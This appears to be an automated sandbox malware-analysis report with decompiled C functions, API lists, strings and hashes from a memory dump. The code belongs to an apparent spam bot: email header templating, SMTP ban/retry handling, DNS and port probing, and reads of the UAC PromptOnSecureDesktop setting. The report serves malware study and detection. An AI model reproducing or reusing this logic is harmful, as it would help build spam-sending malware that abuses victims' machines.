Part of subcall function 0054F3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,00547713,?), ref: 0054F3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 005479DF
RegCloseKey.ADVAPI32(?), ref: 00547A36

Strings

", xrefs: 005477E9
PromptOnSecureDesktop, xrefs: 005476AE, 005476B3, 005476CE, 0054776B, 005477CF, 0054784B, 00547864, 005479AB

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: a200f6a81d1df4e1644d75bf283ef3f2a64afd6a3c0ca39944c5720b718be87f
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: 12C1707190420EABEB119FA8DC49BEE7FB9FF89314F1444A5F504E6191EB70DA848B60

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,7519EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

~+t`y+tp*t, xrefs: 00402E93
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~+t`y+tp*t
API String ID: 929413710-2889758715
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%s%d, xrefs: 0040AE58
%OUTLOOK_MID, xrefs: 0040AEAE
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%OUTLOOK_HST, xrefs: 0040AEC5
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 00549576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00549590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 005495BE
GetModuleFileNameA.KERNEL32(00000000), ref: 005495C5
wsprintfA.USER32 ref: 0054961E
wsprintfA.USER32 ref: 0054965C
wsprintfA.USER32 ref: 005496DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 00549741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00549776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 005497C1

Strings

PromptOnSecureDesktop, xrefs: 005495ED, 0054960D, 0054964B, 0054966C, 0054969F, 005496C8, 005496EA, 0054971D, 00549769, 005497A0

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: 28a89fba65486157e799daec73c10c3cbf08b3434ce4a09aa11f56e2545ee5dd
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: EFA15CB1940219AFEB25DFA4CC8AFDF3FACFB45344F104026FA0596152E7B5D9848BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

p*t, xrefs: 0040F375, 0040F3A0
time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p*t$time_cfg
API String ID: 311057483-1276725725
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

smtp_herr, xrefs: 0040BE46, 0040BF62
smtp_ban, xrefs: 0040BE55, 0040BF77
smtp_retr, xrefs: 0040BE61, 0040BF8C
06A, xrefs: 0040BF70
86A, xrefs: 0040BF98
46A, xrefs: 0040BF85

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%FROM_DOMAIN, xrefs: 0040B41E
%s@%s, xrefs: 0040B461
%P5DATE, xrefs: 0040B4F2
%TO_DOMAIN, xrefs: 0040B44B
%TO_EMAIL, xrefs: 0040B473
%M5DATE, xrefs: 0040B50F
%FROM_USER, xrefs: 0040B431
%TO_USER, xrefs: 0040B488
%TO_HASH, xrefs: 0040B4B0
%FROM_EMAIL, xrefs: 0040B3E9
%DATE, xrefs: 0040B4D2

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 00541FE6, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00542016
GetSystemInfo.KERNEL32(?), ref: 00542038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 00542053
GetProcAddress.KERNEL32(00000000), ref: 0054205A
GetCurrentProcess.KERNEL32(?), ref: 0054206B
GetTickCount.KERNEL32 ref: 00542219

Part of subcall function 00541E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 00541E65

Strings

hi_id, xrefs: 00542166, 0054216B, 00542183
localcfg, xrefs: 0054207A, 00542081, 00542094, 005420CD, 005420DC, 00542102, 00542121, 00542137, 0054214F, 0054216C, 00542184, 005421A0, 005421C0
work_srv, xrefs: 005420AE
flags_upd, xrefs: 0054208E, 00542093, 005420CC

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: eae2782c5b976faa13608b4dd083bc4a6ef2240f6aa4396a4c7dc8bb44971224
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: 8251C6B05043486FE330AF758C8AFA7BEECFB85708F40092DF99A92142D7B5A944C765

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
